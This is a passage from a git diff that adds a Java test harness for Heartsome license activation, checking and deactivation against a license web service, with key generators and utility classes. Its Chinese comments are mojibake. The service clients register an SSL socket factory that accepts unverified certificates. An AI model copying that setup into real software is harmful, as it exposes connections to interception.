Constants.SEPARATOR + generateInstallKey(); +// System.out.println("原文:" + key); + return en.encrypt(b, key.getBytes()); + } + + private String generateInstallKey() { + installKey = RandomUtils.generateRandom(20); + return installKey; + } + + public static void main(String[] argv) { + KeyGeneratorImpl impl = new KeyGeneratorImpl(); + try { + impl.generateKey("111", en.getPublicKey()); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public String getInstallKey() { + return installKey; + } + + @Override + public byte[] generateKey(String licenseId, String installKey, byte[] b) + throws Exception { + String key = licenseId + Constants.SEPARATOR + ProtectionFactory.getSeries() + + Constants.SEPARATOR + installKey; + return en.encrypt(b, key.getBytes()); + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/generator/LicenseIdGenerator.java b/test/net.heartsome.license.test/src/net/heartsome/license/generator/LicenseIdGenerator.java new file mode 100644 index 0000000..53d5228 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/generator/LicenseIdGenerator.java @@ -0,0 +1,37 @@ +package net.heartsome.license.generator; + +import net.heartsome.license.utils.RandomUtils; + +public class LicenseIdGenerator { + private String licenseId; + + public LicenseIdGenerator(String licenseId) { + this.licenseId = licenseId; + } + + public LicenseIdGenerator(String productId, String version, String isTrial) { + this.licenseId = productId + version + isTrial + RandomUtils.generateRandom(20); + } + + public String getProductId() { + if (licenseId == null) { + return null; + } + + return licenseId.substring(0, 2); + } + + public String getVersion() { + if (licenseId == null) { + return null; + } + return licenseId.substring(2, 3); + } + + public String getIsTrial() { + if (licenseId == null) { + return null; + } + return licenseId.substring(3, 4); + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/test/LicenseActivateCheckDeactivate.java b/test/net.heartsome.license.test/src/net/heartsome/license/test/LicenseActivateCheckDeactivate.java new file mode 100644 index 0000000..f92ef87 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/test/LicenseActivateCheckDeactivate.java @@ -0,0 +1,186 @@ +package net.heartsome.license.test; + +import net.heartsome.license.constants.Constants; +import net.heartsome.license.webservice.ServiceUtilTest; + +import org.apache.jmeter.config.Arguments; +import org.apache.jmeter.protocol.java.sampler.AbstractJavaSamplerClient; +import org.apache.jmeter.protocol.java.sampler.JavaSamplerContext; +import org.apache.jmeter.samplers.SampleResult; + +public class LicenseActivateCheckDeactivate extends AbstractJavaSamplerClient { + + private SampleResult results; + private String licenseID; + private String hardwareCode; + private String installCode; + private int waitTimeMillis; + private int intervalTimeMillis; + private String strResult; + private long startTime; + private long pastTime; + private int waitCount = 0; + + @Override + public SampleResult runTest(JavaSamplerContext context) { + results = new SampleResult(); + results.sampleStart(); + + licenseID = context.getParameter("LicenseID"); + hardwareCode = context.getParameter("HardwareCode"); + installCode = context.getParameter("InstallCode"); + waitTimeMillis = Integer.valueOf(context.getParameter("WaitSeconds")) * 1000; + intervalTimeMillis = Integer.valueOf(context + .getParameter("IntervalSeconds")) * 1000; + strResult = licenseID + ":\n"; + startTime = System.currentTimeMillis(); + + // 检查许å¯è¯çŠ¶æ€ï¼Œåº”为未激活,然åŽæ¿€æ´» + check(NextAction.ACTIVATE, "ä¸é€šè¿‡"); + + // 等待两次测试之间的间隔时间 + wait(intervalTimeMillis); + + pastTime = System.currentTimeMillis() - startTime - waitTimeMillis + * waitCount - intervalTimeMillis; + + results.setResponseMessage(strResult + "\n实际耗时(毫秒):" + pastTime); + results.sampleEnd(); + return results; + } + + public Arguments getDefaultParameters() { + Arguments args = new Arguments(); + args.addArgument("LicenseID", "89U1jiKrhD5IG1yNU0O2CinG"); + args.addArgument("HardwareCode", "TestHW"); + args.addArgument("InstallCode", "TestInstall"); + args.addArgument("WaitSeconds", "5"); + args.addArgument("IntervalSeconds", "30"); + return args; + } + + /** + * 检查许å¯è¯çŠ¶æ€ï¼Œ + * + * @param na + * 检查åŽçš„下一步æ“作 + * @param expected + * 预期检查结果 + */ + private void check(NextAction na, String expected) { + try { + String result = ServiceUtilTest.check(licenseID, hardwareCode, + installCode); + if (result.equals("Check Success")) { + strResult += ("预期" + expected + ",验è¯é€šè¿‡ï¼\n"); + + // 若下一步为å–消激活,则当å‰åº”该是已激活 + if (na.equals(NextAction.DEACTIVATE)) { + results.setSuccessful(true); + wait(waitTimeMillis); + deactivate(); + // å¦åˆ™åº”该为未激活状æ€ï¼Œéžé¢„期结果,故测试失败 + } else { + results.setSuccessful(false); + } + + } else { + strResult += ("预期" + expected + ",验è¯æœªé€šè¿‡ï¼Œè¿”回结果为:" + result + "\n"); + + // 下一步为激活,则当å‰åº”为未激活 + if (na.equals(NextAction.ACTIVATE)) { + results.setSuccessful(true); + wait(waitTimeMillis); + activate(); + // 若测试结æŸï¼Œåº”å·²æˆåŠŸå–消激活 + } else if (na.equals(NextAction.END)) { + results.setSuccessful(true); + results.setResponseCodeOK(); + // å¦åˆ™åº”为已激活状æ€ï¼Œéžé¢„期结果,故测试失败 + } else { + results.setSuccessful(false); + } + } + } catch (Exception e) { + results.setSuccessful(false); + strResult += "验è¯å¤±è´¥ï¼Œå¼‚常信æ¯ï¼š\n" + e.getMessage() + "\n"; + } + } + + /** + * 激活许å¯è¯ + */ + private void activate() { + try { + String result = ServiceUtilTest.active(licenseID, hardwareCode, + installCode); + if (result.equals("Active Success")) { + strResult += "激活æˆåŠŸï¼\n"; + results.setSuccessful(true); + + // 等待指定时间 + wait(waitTimeMillis); + + // 检查许å¯è¯æ¿€æ´»çŠ¶æ€ï¼Œå¹¶æŒ‡å®šä¸‹ä¸€æ­¥æ“作为å–消激活 + check(NextAction.DEACTIVATE, "通过"); + } else { + results.setSuccessful(false); + strResult = strResult + "激活失败,返回结果为:" + result + "\n"; + } + + } catch (Exception e) { + // e.printStackTrace(); + results.setSuccessful(false); + strResult = strResult + "激活失败,异常信æ¯ï¼š\n" + e.getMessage() + "\n"; + } + } + + /** + * å–消激活许å¯è¯ + */ + private void deactivate() { + try { + String result = ServiceUtilTest.cancel(licenseID, hardwareCode, + installCode); + if (Constants.RETURN_LOGOUTSUCESS.equals(result)) { + results.setSuccessful(true); + strResult += "å–消激活æˆåŠŸï¼\n"; + + // 等待指定时间 + wait(waitTimeMillis); + + // 检查许å¯è¯æ¿€æ´»çŠ¶æ€ï¼Œå¹¶æŒ‡æ˜Žæµ‹è¯•ç»“æŸ + check(NextAction.END, "ä¸é€šè¿‡"); + } else { + results.setSuccessful(false); + strResult += "å–消激活失败,返回结果为:" + result + "\n"; + } + } catch (Exception e) { + results.setSuccessful(false); + strResult += "å–消激活失败,异常信æ¯ï¼š\n" + e.getMessage() + "\n"; + } + } + + /** + * 等待指定毫秒数 + * + * @param waitTimeMillis + */ + private void wait(int waitTimeMillis) { + if (waitTimeMillis != 0) { + try { + Thread.sleep(waitTimeMillis); + waitCount++; + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + /** + * @author felix_lu 下一步æ“作:激活ã€å–消激活ã€ç»“æŸ + */ + private enum NextAction { + ACTIVATE, DEACTIVATE, END + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/test/LicenseCheck.java b/test/net.heartsome.license.test/src/net/heartsome/license/test/LicenseCheck.java new file mode 100644 index 0000000..47e2567 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/test/LicenseCheck.java @@ -0,0 +1,67 @@ +package net.heartsome.license.test; + +import net.heartsome.license.webservice.ServiceUtilTest; + +import org.apache.jmeter.config.Arguments; +import org.apache.jmeter.protocol.java.sampler.AbstractJavaSamplerClient; +import org.apache.jmeter.protocol.java.sampler.JavaSamplerContext; +import org.apache.jmeter.samplers.SampleResult; + +public class LicenseCheck extends AbstractJavaSamplerClient { + + @Override + public SampleResult runTest(JavaSamplerContext context) { + SampleResult results = new SampleResult(); + results.sampleStart(); + + String licenseID = context.getParameter("LicenseID"); + String hardwareCode = context.getParameter("HardwareCode"); + String installCode = context.getParameter("InstallCode"); + int intervalTime = Integer.valueOf(context + .getParameter("IntervalSeconds")) * 1000; + String strResult = licenseID + ":\n"; + long startTime = System.currentTimeMillis(); + + // 验è¯è®¸å¯è¯çš„æ¿€æ´»çŠ¶æ€ + try { + String result = ServiceUtilTest.check(licenseID, hardwareCode, + installCode); + if (result.equals("Check Success")) { + results.setSuccessful(true); + results.setResponseCodeOK(); + strResult += "验è¯é€šè¿‡ï¼\n"; + } else { + results.setSuccessful(true); + results.setResponseCodeOK(); + strResult += "验è¯æœªé€šè¿‡ï¼Œè¿”回结果为:" + result + "\n"; + } + } catch (Exception e) { + results.setSuccessful(false); + strResult += "验è¯å¤±è´¥ï¼Œå¼‚常信æ¯ï¼š\n" + e.getMessage() + "\n"; + } + + // 等待两次测试之间的间隔 + if (intervalTime != 0) { + try { + Thread.sleep(intervalTime); + } catch (InterruptedException e1) { + e1.printStackTrace(); + } + } + + long pastTime = System.currentTimeMillis() - startTime - intervalTime; + + results.setResponseMessage(strResult + "\n实际耗时(毫秒):" + pastTime); + results.sampleEnd(); + return results; + } + + public Arguments getDefaultParameters() { + Arguments args = new Arguments(); + args.addArgument("LicenseID", "89U1jiKrhD5IG1yNU0O2CinG"); + args.addArgument("HardwareCode", "TestHW"); + args.addArgument("InstallCode", "TestInstall"); + args.addArgument("IntervalSeconds", "30"); + return args; + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/utils/DateUtils.java b/test/net.heartsome.license.test/src/net/heartsome/license/utils/DateUtils.java new file mode 100644 index 0000000..c74c5cd --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/utils/DateUtils.java @@ -0,0 +1,13 @@ +package net.heartsome.license.utils; + +import java.text.SimpleDateFormat; +import java.util.Date; + +public class DateUtils { + + public static String getDate() { + Date date = new Date(); + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + return format.format(date); + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/utils/FileUtils.java b/test/net.heartsome.license.test/src/net/heartsome/license/utils/FileUtils.java new file mode 100644 index 0000000..f768e4f --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/utils/FileUtils.java @@ -0,0 +1,74 @@ +package net.heartsome.license.utils; + +import java.io.BufferedInputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; + +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; + +public class FileUtils { + + public static void writeFile(byte[] b, String fileName) { + try { + DataOutputStream out = new DataOutputStream(new FileOutputStream( + fileName)); + out.write(b); + out.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static byte[] readFile(String fileName) { + try { + DataInputStream in = new DataInputStream(new BufferedInputStream( + new FileInputStream(fileName))); + int n = in.available(); + byte[] t = new byte[n]; + int i = 0; + while (in.available() != 0) { + t[i] = in.readByte(); + i++; + } + in.close(); + return t; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + public static boolean removeFile() { + boolean flag1 = false; + boolean flag2 = false; + File file = new File(ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + file.delete(); + flag1 = true; + } + file = new File(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + file.delete(); + flag2 = true; + } + return flag1 && flag2; + } + + public static boolean isExsit() { + boolean flag1 = false; + boolean flag2 = false; + File file = new File(ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + flag1 = true; + } + file = new File(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + flag2 = true; + } + return flag1 && flag2; + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/utils/OsUtil.java b/test/net.heartsome.license.test/src/net/heartsome/license/utils/OsUtil.java new file mode 100644 index 0000000..2da26ea --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/utils/OsUtil.java @@ -0,0 +1,25 @@ +package net.heartsome.license.utils; + +public class OsUtil { + + public static String getOS() { + return System.getProperty("os.name"); + } + + public static boolean isWindows() { + return getOS().startsWith("Windows"); + } + + public static boolean isMac() { + return getOS().startsWith("Mac"); + } + + public static boolean isLinux() { + return getOS().startsWith("Linux"); + } + + public static void main(String[] args) { + System.out.println(getOS()); + } + +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/utils/RandomUtils.java b/test/net.heartsome.license.test/src/net/heartsome/license/utils/RandomUtils.java new file mode 100644 index 0000000..e4a78ba --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/utils/RandomUtils.java @@ -0,0 +1,20 @@ +package net.heartsome.license.utils; + +public class RandomUtils { + + public static String generateRandom(int num) { + char[] temp = new char[] {'0','1','2','3','4','5','6','7','8','9', + 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', + 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', + 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', + 'T','U','V','W','X','Y','Z'}; + int size = temp.length; + StringBuffer bu = new StringBuffer(); + for (int i = 0; i < num; i++) { + int r = (int)(Math.random() * size); + bu.append(temp[r]); + } + + return bu.toString(); + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/utils/StringUtils.java b/test/net.heartsome.license.test/src/net/heartsome/license/utils/StringUtils.java new file mode 100644 index 0000000..f2ba13d --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/utils/StringUtils.java @@ -0,0 +1,78 @@ +package net.heartsome.license.utils; + +public class StringUtils { + public static String handle(String key, int interval, int start, int num) { + char[] temp = new char[] {'0','1','2','3','4','5','6','7','8','9'}; + int size = temp.length; + StringBuffer bu = new StringBuffer(key); + int length = key.length(); + for (int i = start; i < length;) { + for (int j = 0; j < num; j++) { + int r = (int)(Math.random() * size); + bu.insert(i, temp[r]); + } + i += interval + num; + length += num; + } + + return bu.toString(); + + } + + public static String reverse(String key, int interval, int start, int num) { + StringBuffer bu = new StringBuffer(key); + int length = key.length(); + for (int i = start; i < length;) { + for (int j = 0; j < num; j++) { + bu.deleteCharAt(i); + } + i += interval; + length -= num; + } + + return bu.toString(); + + } + + public static String removeColon(String str) { + return str.replaceAll(":", ""); + } + + public static String toHexString(byte[] b) { + StringBuilder sb = new StringBuilder(b.length * 2); + for (int i = 0; i < b.length; i++) { + sb.append(HEXCHAR[(b[i] & 0xf0) >>> 4]); + sb.append(HEXCHAR[b[i] & 0x0f]); + } + return sb.toString(); + } + + public static byte[] toBytes(String s) { + byte[] bytes; + bytes = new byte[s.length() / 2]; + for (int i = 0; i < bytes.length; i++) { + bytes[i] = (byte) Integer.parseInt(s.substring(2 * i, 2 * i + 2), + 16); + } + return bytes; + } + + private static char[] HEXCHAR = { '0', '1', '2', '3', '4', '5', '6', '7', + '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; + + /** + * è®¸å¯ KEY,使用标准的 4 个字符一组,然åŽä½¿ç”¨ - 连接。 + * @return ; + */ + public static String groupString(String str) { + if (str == null || str.length() != 24) { + return str; + } else { + String temp = ""; + for (int i = 0; i < 6; i++) { + temp += str.substring(i * 4, (i + 1) * 4) + "-"; + } + return temp.substring(0, temp.length() - 1); + } + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/webservice/IService.java b/test/net.heartsome.license.test/src/net/heartsome/license/webservice/IService.java new file mode 100644 index 0000000..9b08fb3 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/webservice/IService.java @@ -0,0 +1,42 @@ +package net.heartsome.license.webservice; + +public interface IService{ + + + public byte[] getServerPublicKey() throws Exception; + + + public String buyLicense(String username, String email,String productInfo); + + /** + * 激活许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€ç¡¬ä»¶æŒ‡çº¹ã€å®‰è£…ç  + * @param clientPublicKey 客户端公钥 + * @return æ¿€æ´»ä¿¡æ¯ + */ + public String activeLicense(String info, byte[] clientPublicKey) throws Exception; + + /** + * 校验许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€æœ€æ–°çš„硬件指纹 + * @param clientPublicKey 客户端公钥 + * @return æ ¡éªŒä¿¡æ¯ + */ + public String checkLicense(String info, byte[] clientPublicKey) throws Exception; + + /** + * 注销许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€æœ€æ–°çš„硬件指纹 + * @param clientPublicKey 客户端公钥 + * @return æ³¨é”€ä¿¡æ¯ + */ + public String logoutLicense(String info, byte[] clientPublicKey) throws Exception; + + + /** + * 获å–试用许å¯è¯çš„截止日期 + * @param key + * @return + */ + public String getTempEndDate(String key, byte[] clientPublicKey) throws Exception; +} \ No newline at end of file diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/webservice/ServiceUtil.java b/test/net.heartsome.license.test/src/net/heartsome/license/webservice/ServiceUtil.java new file mode 100644 index 0000000..250d9c4 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/webservice/ServiceUtil.java @@ -0,0 +1,188 @@ +package net.heartsome.license.webservice; + +import java.net.MalformedURLException; + +import net.heartsome.license.LicenseReader; +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.Encrypt; +import net.heartsome.license.encrypt.InstallKeyEncrypt; +import net.heartsome.license.generator.IKeyGenerator; +import net.heartsome.license.generator.KeyGeneratorImpl; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.utils.StringUtils; + +import java.lang.reflect.Proxy; + +import org.codehaus.xfire.client.XFireProxy; +import org.apache.commons.httpclient.protocol.Protocol; +import org.apache.commons.httpclient.protocol.ProtocolSocketFactory; +import org.codehaus.xfire.client.Client; +import org.codehaus.xfire.client.XFireProxyFactory; +import org.codehaus.xfire.service.Service; +import org.codehaus.xfire.service.binding.ObjectServiceFactory; +import org.codehaus.xfire.transport.http.CommonsHttpMessageSender; +import org.codehaus.xfire.transport.http.EasySSLProtocolSocketFactory; +import org.codehaus.xfire.util.dom.DOMOutHandler; + +public class ServiceUtil { + private static final String SERVICE_URL ="https://lic.heartsome.net/hswebservices/licenses"; + private static final String SERVICE_NAMESPACE = "licenses.XFire"; + private static final String SERVICE_NAME = "licenses"; + private static final String HTTP_TYPE = "https"; + private static final int PORT = 443; + + public static IService getService() throws MalformedURLException { +// Service srvcModel = new ObjectServiceFactory().create(IService.class); +// XFireProxyFactory factory = new XFireProxyFactory(XFireFactory +// .newInstance().getXFire()); +// +// IService srvc = (IService) factory.create(srvcModel, Constants.CONNECT_URL); +// return srvc; + + ProtocolSocketFactory easy = new EasySSLProtocolSocketFactory(); + Protocol protocol = new Protocol(HTTP_TYPE, easy, PORT); + Protocol.registerProtocol(HTTP_TYPE, protocol); + Service serviceModel = new ObjectServiceFactory().create(IService.class, + SERVICE_NAME, SERVICE_NAMESPACE, null); + + IService service = (IService) new XFireProxyFactory().create(serviceModel, SERVICE_URL); + Client client = ((XFireProxy)Proxy.getInvocationHandler(service)).getClient(); + client.addOutHandler(new DOMOutHandler()); + client.setProperty(CommonsHttpMessageSender.GZIP_ENABLED, Boolean.FALSE); + client.setProperty(CommonsHttpMessageSender.DISABLE_EXPECT_CONTINUE, "1"); + client.setProperty(CommonsHttpMessageSender.HTTP_TIMEOUT, "0"); + + return service; + } + + public static int active(String licenseId) throws Exception{ + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + + IKeyGenerator gen = new KeyGeneratorImpl(); + byte[] k = gen.generateKey(licenseId, serverPublicKey); + Encrypt en = ProtectionFactory.getEncrypt(); + String str = srvc.activeLicense(StringUtils.toHexString(k), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); +// System.out.println(new String(b)); + if (Constants.RETURN_INVALIDLICENSE.equals(new String(b))) { + return Constants.RETURN_INVALIDLICENSE_INT; + } else if (Constants.RETURN_INVALIDBUNDLE.equals(new String(b))) { + return Constants.RETURN_INVALIDBUNDLE_INT; + } else if (Constants.RETURN_DBEXCEPTION.equals(new String(b))) { + return Constants.RETURN_DBEXCEPTION_INT; + } else if (Constants.RETURN_MUTILTEMPBUNDLE.equals(new String(b))) { + return Constants.RETURN_MUTILTEMPBUNDLE_INT; + } else if (Constants.RETURN_EXPIREDLICENSE.equals(new String(b))) { + return Constants.RETURN_EXPIREDLICENSE_INT; + } else { + FileUtils.writeFile(b, ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + FileUtils.writeFile(InstallKeyEncrypt.encrypt(gen.getInstallKey().getBytes()), ProtectionFactory.getFileName(2, 89)); + if (FileUtils.isExsit()) { + return Constants.ACTIVE_OK_INT; + } else { + return Constants.RETURN_DBEXCEPTION_INT; + } + } + } + + public static int check(String info, byte[] b) throws Exception { + if (info == null) { + LicenseReader reader = new LicenseReader(Constants.PRODUCTID); + info = reader.getLicenseInfo(); + } + + if (info == null) { + return Constants.STATE_INVALID; + } + + String[] arrInfo = getStrFromInfo(info); + String strKeyCode = arrInfo[0]; +// String strMacCode = arrInfo[1]; + String strInstallCode = arrInfo[2]; + + if (b == null) { + b = FileUtils.readFile(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + try { + b = InstallKeyEncrypt.decrypt(b); + if (!strInstallCode.equals(new String(b))) { + return Constants.STATE_INVALID; + } + } catch (Exception e) { + e.printStackTrace(); + return Constants.STATE_INVALID; + } + } + + if (b == null) { + return Constants.STATE_INVALID; + } + + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + IKeyGenerator gen = new KeyGeneratorImpl(); + byte[] k = gen.generateKey(strKeyCode, strInstallCode, serverPublicKey); + + Encrypt en = ProtectionFactory.getEncrypt(); + + String str = srvc.checkLicense(StringUtils.toHexString(k), en.getPublicKey()); + b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + info = new String(b); + if (Constants.RETURN_CHECKSUCESS.equals(info)) { + return Constants.STATE_VALID; + } else if (Constants.RETURN_EXPIREDLICENSE.equals(info)) { + return Constants.STATE_EXPIRED; + } else { + return Constants.STATE_INVALID; + } + } + + public static int cancel() throws Exception { + LicenseReader reader = new LicenseReader(Constants.PRODUCTID); + String info = reader.getLicenseInfo(); + if (info == null) { + return Constants.LOGOUT_FAIL; + } + + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + Encrypt en = ProtectionFactory.getEncrypt(); + String str = srvc.logoutLicense(StringUtils.toHexString(en.encrypt(serverPublicKey, info.getBytes())), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + info = new String(b); + if (Constants.RETURN_LOGOUTSUCESS.equals(info)) { + return FileUtils.removeFile() ? Constants.LOGOUT_SUCCESS : Constants.LOGOUT_FAIL; + } else if (Constants.RETURN_INVALIDLICENSE.equals(info)) { + return FileUtils.removeFile() ? Constants.LOGOUT_SUCCESS : Constants.LOGOUT_FAIL; + } else { + return Constants.LOGOUT_FAIL; + } + } + + private static String[] getStrFromInfo(String info) { + return info.split(Constants.SEPARATOR); + } + + public static String getTempEndDate(String key) throws Exception { + if (key == null) { + return null; + } + + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + Encrypt en = ProtectionFactory.getEncrypt(); + String str = srvc.getTempEndDate(StringUtils.toHexString(en.encrypt(serverPublicKey, key.getBytes())), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + key = new String(b); + if (Constants.RETURN_NULLTEMPENDDATE.equals(key)) { + return null; + } else { + return key; + } + } +} diff --git a/test/net.heartsome.license.test/src/net/heartsome/license/webservice/ServiceUtilTest.java b/test/net.heartsome.license.test/src/net/heartsome/license/webservice/ServiceUtilTest.java new file mode 100644 index 0000000..0334579 --- /dev/null +++ b/test/net.heartsome.license.test/src/net/heartsome/license/webservice/ServiceUtilTest.java @@ -0,0 +1,168 @@ +package net.heartsome.license.webservice; + +import java.lang.reflect.Proxy; +import java.net.MalformedURLException; + +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.Encrypt; +import net.heartsome.license.utils.StringUtils; + +import org.apache.commons.httpclient.protocol.Protocol; +import org.apache.commons.httpclient.protocol.ProtocolSocketFactory; +import org.codehaus.xfire.client.Client; +import org.codehaus.xfire.client.XFireProxy; +import org.codehaus.xfire.client.XFireProxyFactory; +import org.codehaus.xfire.service.Service; +import org.codehaus.xfire.service.binding.ObjectServiceFactory; +import org.codehaus.xfire.transport.http.CommonsHttpMessageSender; +import org.codehaus.xfire.transport.http.EasySSLProtocolSocketFactory; +import org.codehaus.xfire.util.dom.DOMOutHandler; + +public class ServiceUtilTest { + private static final String SERVICE_URL = "https://lic.heartsome.net/hswebservices/licenses"; + private static final String SERVICE_NAMESPACE = "licenses.XFire"; + private static final String SERVICE_NAME = "licenses"; + private static final String HTTP_TYPE = "https"; + private static final int PORT = 443; + + public static IService getService() throws MalformedURLException { + // Service srvcModel = new + // ObjectServiceFactory().create(IService.class); + // XFireProxyFactory factory = new XFireProxyFactory(XFireFactory + // .newInstance().getXFire()); + // + // IService srvc = (IService) factory.create(srvcModel, + // Constants.CONNECT_URL); + // return srvc; + + ProtocolSocketFactory easy = new EasySSLProtocolSocketFactory(); + Protocol protocol = new Protocol(HTTP_TYPE, easy, PORT); + Protocol.registerProtocol(HTTP_TYPE, protocol); + Service serviceModel = new ObjectServiceFactory().create( + IService.class, SERVICE_NAME, SERVICE_NAMESPACE, null); + + IService service = (IService) new XFireProxyFactory().create( + serviceModel, SERVICE_URL); + Client client = ((XFireProxy) Proxy.getInvocationHandler(service)) + .getClient(); + client.addOutHandler(new DOMOutHandler()); + client.setProperty(CommonsHttpMessageSender.GZIP_ENABLED, Boolean.FALSE); + client.setProperty(CommonsHttpMessageSender.DISABLE_EXPECT_CONTINUE, + "1"); + client.setProperty(CommonsHttpMessageSender.HTTP_TIMEOUT, "0"); + + return service; + } + + public static String active(String licenseId, String maccode, + String installcode) throws Exception { + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + String s = licenseId + Constants.SEPARATOR + + ProtectionFactory.getSeries() + Constants.SEPARATOR + + installcode; + Encrypt en = ProtectionFactory.getEncrypt(); + byte[] k = en.encrypt(serverPublicKey, s.getBytes()); + String str = srvc.activeLicense(StringUtils.toHexString(k), + en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + // System.out.println(new String(b)); + if (Constants.RETURN_INVALIDLICENSE.equals(new String(b))) { + return Constants.RETURN_INVALIDLICENSE; + } else if (Constants.RETURN_INVALIDBUNDLE.equals(new String(b))) { + return Constants.RETURN_INVALIDBUNDLE; + } else if (Constants.RETURN_DBEXCEPTION.equals(new String(b))) { + return Constants.RETURN_DBEXCEPTION; + } else if (Constants.RETURN_MUTILTEMPBUNDLE.equals(new String(b))) { + return Constants.RETURN_MUTILTEMPBUNDLE; + } else if (Constants.RETURN_EXPIREDLICENSE.equals(new String(b))) { + return Constants.RETURN_EXPIREDLICENSE; + } else { + return "Active Success"; + } + } + + public static String cancel(String licenseId, String maccode, + String installcode) throws Exception { + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + Encrypt en = ProtectionFactory.getEncrypt(); + String info = licenseId + Constants.SEPARATOR + + ProtectionFactory.getSeries() + Constants.SEPARATOR + + installcode; + String str = srvc.logoutLicense( + StringUtils.toHexString(en.encrypt(serverPublicKey, + info.getBytes())), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + info = new String(b); + // System.out.println(info); + // if (Constants.RETURN_LOGOUTSUCESS.equals(info)) { + // return Constants.LOGOUT_SUCCESS; + // } else if (Constants.RETURN_INVALIDLICENSE.equals(info)) { + // return Constants.LOGOUT_FAIL; + // } else { + // return Constants.LOGOUT_FAIL; + // } + return info; + } + + public static String check(String licenseId, String maccode, + String installcode) throws Exception { + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + Encrypt en = ProtectionFactory.getEncrypt(); + String info = licenseId + Constants.SEPARATOR + + ProtectionFactory.getSeries() + Constants.SEPARATOR + + installcode; + + String str = srvc.checkLicense( + StringUtils.toHexString(en.encrypt(serverPublicKey, + info.getBytes())), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + info = new String(b); + if (Constants.RETURN_CHECKSUCESS.equals(info)) { + return "Check Success"; + } else if (Constants.RETURN_EXPIREDLICENSE.equals(info)) { + return "Expired"; + } else { + return "Invalid"; + } + } + + // private static String[] getStrFromInfo(String info) { + // return info.split(Constants.SEPARATOR); + // } + + // public static void main(String[] argv) { + // try { + // int result = ServiceUtilTest.active("111111111111111111111111", + // "000000000011", "11111111111111111111"); + // if (result == Constants.ACTIVE_OK_INT) { + // System.out.println("激活æˆåŠŸ"); + // } else { + // System.out.println("激活失败"); + // } + // + // } catch (Exception e) { + // e.printStackTrace(); + // System.out.println("激活失败"); + // } + // + // try { + // int result = ServiceUtilTest.cancel("111111111111111111111111", + // "000000000011", "11111111111111111111"); + // if (result == Constants.LOGOUT_SUCCESS) { + // System.out.println("å–消激活æˆåŠŸ"); + // } else { + // System.out.println("å–消激活失败"); + // } + // } catch (Exception e) { + // e.printStackTrace(); + // System.out.println("å–消激活失败"); + // } + // } +} diff --git a/test/net.heartsome.license.test/win_x86_Series_32bit.dll b/test/net.heartsome.license.test/win_x86_Series_32bit.dll new file mode 100644 index 0000000..80d8737 Binary files /dev/null and 